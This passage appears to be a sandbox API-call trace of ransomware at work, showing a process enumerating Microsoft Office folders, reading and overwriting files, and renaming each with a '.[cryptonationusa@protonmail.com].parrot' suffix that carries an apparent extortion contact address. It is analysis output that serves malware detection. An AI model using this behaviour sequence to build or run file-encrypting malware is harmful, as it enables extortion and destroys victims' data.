Office\\Office14\\3082\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0181.565] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf840b840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf840b840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.566] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e56e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xc698, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MSOACL~1.PAR")) returned 1 [0181.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0181.568] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0181.568] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.568] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0181.568] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0181.568] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0181.568] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.568] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.568] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.570] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4cf, lpOverlapped=0x0) returned 1 [0181.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.571] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.571] CloseHandle (hObject=0x288) returned 1 [0181.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.576] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x105e3, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.577] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.577] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.578] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.578] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x104cb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x104cb, lpOverlapped=0x0) returned 1 [0181.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.583] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x105e3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.583] CloseHandle (hObject=0x288) returned 1 [0181.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.589] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.589] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.589] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.591] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ab, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3ab, lpOverlapped=0x0) returned 1 [0181.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.591] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.591] CloseHandle (hObject=0x288) returned 1 [0181.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.598] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0181.598] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf84319a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf84319a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.599] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf840b840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CLNTWR~1.PAR")) returned 1 [0181.599] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0181.601] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0181.601] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.601] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0181.601] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0181.601] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="ACWZDA~1.ACC")) returned 1 [0181.602] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f6118, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.602] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.602] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.604] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.604] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.634] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.635] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0181.638] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.638] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.640] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f6118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.641] CloseHandle (hObject=0x288) returned 1 [0181.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.696] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x204118, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.696] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.698] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.698] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.728] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.728] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0181.732] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.732] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.734] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x204118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.734] CloseHandle (hObject=0x288) returned 1 [0181.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.743] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8f8118, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.743] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.743] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.753] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.754] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.836] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.836] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0181.841] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.841] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.845] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8f8118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.845] CloseHandle (hObject=0x288) returned 1 [0181.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.855] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb39118, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.855] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.855] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.856] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.856] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0182.032] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.032] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0182.035] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.035] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0182.038] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb39118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.038] CloseHandle (hObject=0x288) returned 1 [0182.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.100] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x348118, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.100] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.100] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.102] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.105] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0182.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.137] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0182.141] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.141] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0182.144] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x348118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.144] CloseHandle (hObject=0x27c) returned 1 [0182.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.155] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbf118, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.155] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.155] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0182.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.157] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbf000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbf000, lpOverlapped=0x0) returned 1 [0182.183] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.272] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbf118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.272] CloseHandle (hObject=0x27c) returned 1 [0182.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\utility.accda.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.282] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0182.283] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, 